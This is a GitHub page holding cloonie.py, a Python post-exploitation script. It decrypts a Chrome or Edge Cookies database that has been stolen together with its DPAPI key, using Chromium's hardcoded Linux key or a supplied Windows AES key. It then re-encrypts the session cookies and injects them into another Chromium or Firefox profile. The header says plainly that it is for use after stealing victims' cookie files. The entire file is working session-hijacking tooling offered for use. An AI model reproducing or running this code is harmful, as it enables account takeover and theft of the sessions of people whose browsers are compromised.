-
Notifications
You must be signed in to change notification settings - Fork 7
/
cloonie.py
293 lines (246 loc) · 12.1 KB
/
cloonie.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#!/usr/bin/env python3
#
# Author: Lorenzo Bernardi (@fastlorenzo)
#
# Inspired by:
# - https://gist.github.com/GramThanos/ff2c42bb961b68e7cc197d6685e06f10
# - https://gist.github.com/DakuTree/428e5b737306937628f2944fbfdc4ffc
# - https://github.com/crypt0p3g/bof-collection
# - https://github.com/rxwx/chlonium
# - https://gist.github.com/microo8/d0ecb52ec592971a466a3189287631c7
# - https://n8henrie.com/2013/11/use-chromes-cookies-for-easier-downloading-with-python-requests/
#
# Use Chlonium (or another technique) to steal the Cookies file of edge/chrome, as well as the corresponding decrytion key (via DPAPI)
#
import sqlite3
import sys
import argparse
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import pad
from pprint import pprint
import base64
# Values for Chromium on Linux
LINUX_SALT = b'saltysalt'
LINUX_IV = b' ' * 16
LINUX_LEN = 16
LINUX_ITER = 1
# Hardcoded password for Linux
LINUX_KEY = 'peanuts'.encode('utf8')
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
# Strip padding by taking off number indicated by padding
# eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
# You'll need to change this function to use ord() for python2.
def clean(x):
return x[:-x[-1]].decode('utf8')
def chrome_decrypt(encrypted_value, key=None, input_os='windows'):
if input_os == 'linux':
# Encrypted cookies should be prefixed with 'v10' according to the
# Chromium code. Strip it off.
if encrypted_value[:3] == b'v10':
encrypted_value = encrypted_value[3:]
#encrypted_value = encrypted_value[3:]
#pprint(encrypted_value)
cipher = AES.new(key, AES.MODE_CBC, IV=LINUX_IV)
decrypted = cipher.decrypt(encrypted_value)
decrypted_value = clean(decrypted)
#pprint('Decrypted: %s' % decrypted)
#pprint('Decrypted: %s' % unpad(decrypted).decode('utf-8'))
else:
decrypted_value = 'DECRYPTION FAILED'
try:
cipher = AES.new(key, AES.MODE_GCM, nonce=encrypted_value[3:3+12])
decrypted_value = cipher.decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:])
except:
print('Failed to decrypt')
return decrypted_value
def export_cookies(input_file, input_key, input_os, domfilter):
print('%s[+] Decrypting %s with domain filter \'%%%s%%\' (%s)%s' % (bcolors.HEADER, input_file, domfilter, input_os, bcolors.ENDC))
if input_os == 'windows':
key = base64.b64decode(input_key)
else:
# Generate key from values above
key = PBKDF2(LINUX_KEY, LINUX_SALT, LINUX_LEN, LINUX_ITER)
if DEBUG:
pprint('Using key: %s' % key)
conn = sqlite3.connect(input_file)
cur = conn.cursor()
conn.text_factory = bytes
sql = 'SELECT creation_utc, host_key, name, value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, encrypted_value, samesite, source_scheme, source_port, is_same_party FROM cookies WHERE host_key LIKE "%{}%"'.format(domfilter)
cookies = []
# Execute the query
cur.execute(sql)
for creation_utc, host_key, name, value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, encrypted_value, samesite, source_scheme, source_port, is_same_party in cur.fetchall():
cookie = {
'creation_utc': creation_utc,
'host_key': host_key,
'name': name,
'value': value,
'path': path,
'expires_utc': expires_utc,
'is_secure': is_secure,
'is_httponly': is_httponly,
'last_access_utc': last_access_utc,
'has_expires': has_expires,
'is_persistent': is_persistent,
'priority': priority,
'encrypted_value': encrypted_value,
'samesite': samesite,
'source_scheme': source_scheme,
'source_port': source_port,
'is_same_party': is_same_party,
'decrypted_value': None
}
# if there is a not encrypted value or if the encrypted value
# doesn't start with the 'v10' prefix, return v
if value or (encrypted_value[:3] != b'v10'):
if DEBUG or OUTPUT_COOKIE_VALUE:
print('[%s%s%s][%s%s%s] non-encrypted value: %s%s%s' % (bcolors.OKCYAN, host_key.decode('utf-8'), bcolors.ENDC, bcolors.OKBLUE, name.decode('utf-8'), bcolors.ENDC, bcolors.OKGREEN, value.decode('utf-8'), bcolors.ENDC))
cookie['decrypted_value'] = value
cookies.append(cookie)
else:
if DEBUG:
print('ENCRYPTED [%s%s%s][%s%s%s] %s%s%s' % (bcolors.OKCYAN, host_key.decode('utf-8'), bcolors.ENDC, bcolors.OKBLUE, name.decode('utf-8'), bcolors.ENDC, bcolors.WARNING, encrypted_value.decode('utf-8'), bcolors.ENDC))
decrypted_tuple = (name, chrome_decrypt(encrypted_value, key, input_os))
if DEBUG or OUTPUT_COOKIE_VALUE:
print('DECRYPTED [%s%s%s][%s%s%s] %s%s%s' % (bcolors.OKCYAN, host_key.decode('utf-8'), bcolors.ENDC, bcolors.OKBLUE, name.decode('utf-8'), bcolors.ENDC, bcolors.OKGREEN, decrypted_tuple[1].decode('utf-8'), bcolors.ENDC))
cookie['decrypted_value'] = decrypted_tuple[1]
cookies.append(cookie)
conn.commit()
conn.close()
return cookies
def import_cookies_chromium(cookies, output_file, output_key, output_os, domfilter):
print('%s[+] [Chromium] Re-encrypting cookies with domain filter \'%%%s%%\' (%s) and exporting them to %s%s' % (bcolors.HEADER, domfilter, output_os, output_file, bcolors.ENDC))
if output_os == 'windows':
key = base64.b64decode(output_key)
else:
# Generate key from values above
key = PBKDF2(LINUX_KEY, LINUX_SALT, LINUX_LEN, LINUX_ITER)
if DEBUG:
print('Using key: %s' % key)
conn = sqlite3.connect(output_file)
cur = conn.cursor()
conn.text_factory = bytes
print('%s[!] Deleting previous cookies%s' % (bcolors.WARNING, bcolors.ENDC))
# First, delete all related cookies from the destination file
sql = 'DELETE FROM cookies WHERE host_key LIKE "%{}%"'.format(domfilter)
cur.execute(sql)
conn.commit()
# For each cookies, inject them
for cookie in cookies:
# Encrypt the value
cipher = AES.new(key, AES.MODE_CBC, IV=LINUX_IV)
encrypted = cipher.encrypt(pad(cookie['decrypted_value'].decode('utf-8')).encode())
cookie['encrypted_value'] = b'v10' + encrypted
f_cookie = (
cookie['creation_utc'],
cookie['host_key'].decode('utf-8'),
cookie['name'].decode('utf-8'),
'',
cookie['path'],
cookie['expires_utc'],
cookie['is_secure'],
cookie['is_httponly'],
cookie['last_access_utc'],
cookie['has_expires'],
cookie['is_persistent'],
cookie['priority'],
cookie['encrypted_value'],
cookie['samesite'],
cookie['source_scheme'],
cookie['source_port'],
cookie['is_same_party']
)
sql = 'INSERT INTO cookies(creation_utc, host_key, name, value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, encrypted_value, samesite, source_scheme, source_port, is_same_party) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)'
cur = conn.cursor()
if DEBUG or OUTPUT_COOKIE_VALUE:
print('IMPORTING [%s%s%s][%s%s%s] %s%s%s' % (bcolors.OKCYAN, cookie['host_key'].decode('utf-8'), bcolors.ENDC, bcolors.OKBLUE, cookie['name'].decode('utf-8'), bcolors.ENDC, bcolors.WARNING, cookie['decrypted_value'].decode('utf-8'), bcolors.ENDC))
cur.execute(sql, f_cookie)
conn.commit()
def import_cookies_firefox(cookies, output_file, domfilter):
print('%s[+] [Firefox] Selected cookies with domain filter \'%%%s%%\' and exporting them to %s%s' % (bcolors.HEADER, domfilter, output_file, bcolors.ENDC))
conn = sqlite3.connect(output_file)
cur = conn.cursor()
conn.text_factory = bytes
print('%s[!] Deleting previous cookies%s' % (bcolors.WARNING, bcolors.ENDC))
# First, delete all related cookies from the destination file
sql = 'DELETE FROM moz_cookies WHERE host LIKE "%{}%"'.format(domfilter)
cur.execute(sql)
conn.commit()
# For each cookies, inject them
for cookie in cookies:
f_cookie = (
cookie['name'].decode('utf-8'),
cookie['decrypted_value'].decode('utf-8'),
cookie['host_key'].decode('utf-8'),
cookie['path'],
#converting webkit timestamp to unix/firefox timestamp
max((int(cookie['expires_utc']))-11644473600000000,0),
max((int(cookie['last_access_utc']))-11644473600000000,0),
max((int(cookie['last_access_utc']))-11644473600000000,0),
cookie['is_secure'],
cookie['is_httponly'],
0,
cookie['samesite'],
cookie['samesite'],
0
)
sql = 'INSERT INTO moz_cookies(name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly, inBrowserElement, sameSite, rawSameSite) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)'
cur = conn.cursor()
if DEBUG or OUTPUT_COOKIE_VALUE:
print('IMPORTING [%s%s%s][%s%s%s] %s%s%s' % (bcolors.OKCYAN, cookie['host_key'].decode('utf-8'), bcolors.ENDC, bcolors.OKBLUE, cookie['name'].decode('utf-8'), bcolors.ENDC, bcolors.WARNING, cookie['decrypted_value'].decode('utf-8'), bcolors.ENDC))
cur.execute(sql, f_cookie)
conn.commit()
def check_args():
parser = argparse.ArgumentParser(description='Decrypt chrome|edge Cookies file and re-encrypt it with a different key')
parser.add_argument('--infile', metavar='<infile>', dest='infile', help='Cookies input file', default='Cookies')
parser.add_argument('--inos', metavar='<inos>', dest='inos', help='Input file OS (windows|linux)', default='windows')
parser.add_argument('--inkey', metavar='<inkey>', dest='inkey', help='Input file key', default='')
parser.add_argument('--outos', metavar='<outos>', dest='outos', help='Output file OS (windows|linux)', default='linux')
parser.add_argument('--outfile', metavar='<outfile>', dest='outfile', help='Cookies output file')
parser.add_argument('--outkey', metavar='<outkey>', dest='outkey', help='Output file key', default='')
parser.add_argument('--domain', metavar='<domain>', dest='domain', help='Cookies domain filter', default='')
parser.add_argument('--debug', action='store_true', help='Enable debug output', default=False)
parser.add_argument('--output', action='store_true', help='Ouput cookie value', default=False)
args = parser.parse_args()
if args.inos == 'windows' and not args.inkey:
print('[X] Must provide input key for Windows input OS (--inkey <KEY>)')
parser.print_help()
sys.exit(-1)
if args.outos == 'windows' and not args.outkey:
print('[X] Must provide output key for Windows output OS (--outkey <KEY>)')
parser.print_help()
sys.exit(-1)
if not args.infile:
print('[X] Missing input file path (--infile <path/Cookies>)')
parser.print_help()
sys.exit(-1)
return args
if __name__ == '__main__':
# Parse the arguments
args = check_args()
global DEBUG, OUTPUT_COOKIE_VALUE
DEBUG = True if args.debug == True else False
OUTPUT_COOKIE_VALUE = True if args.output == True else False
# Decrypt the cookies from the source file
cookies = export_cookies(args.infile, args.inkey, args.inos, args.domain)
# If an output file is provided, import the cookies in the store
if args.outfile:
if '.sqlite' in args.outfile:
#outfile contains .sqlite so assuming Firefox cookie database
import_cookies_firefox(cookies, args.outfile, args.domain)
else:
#Chromium cookie database
import_cookies_chromium(cookies, args.outfile, args.outkey, args.outos, args.domain)
print('%s[+] Done%s' % (bcolors.HEADER, bcolors.ENDC))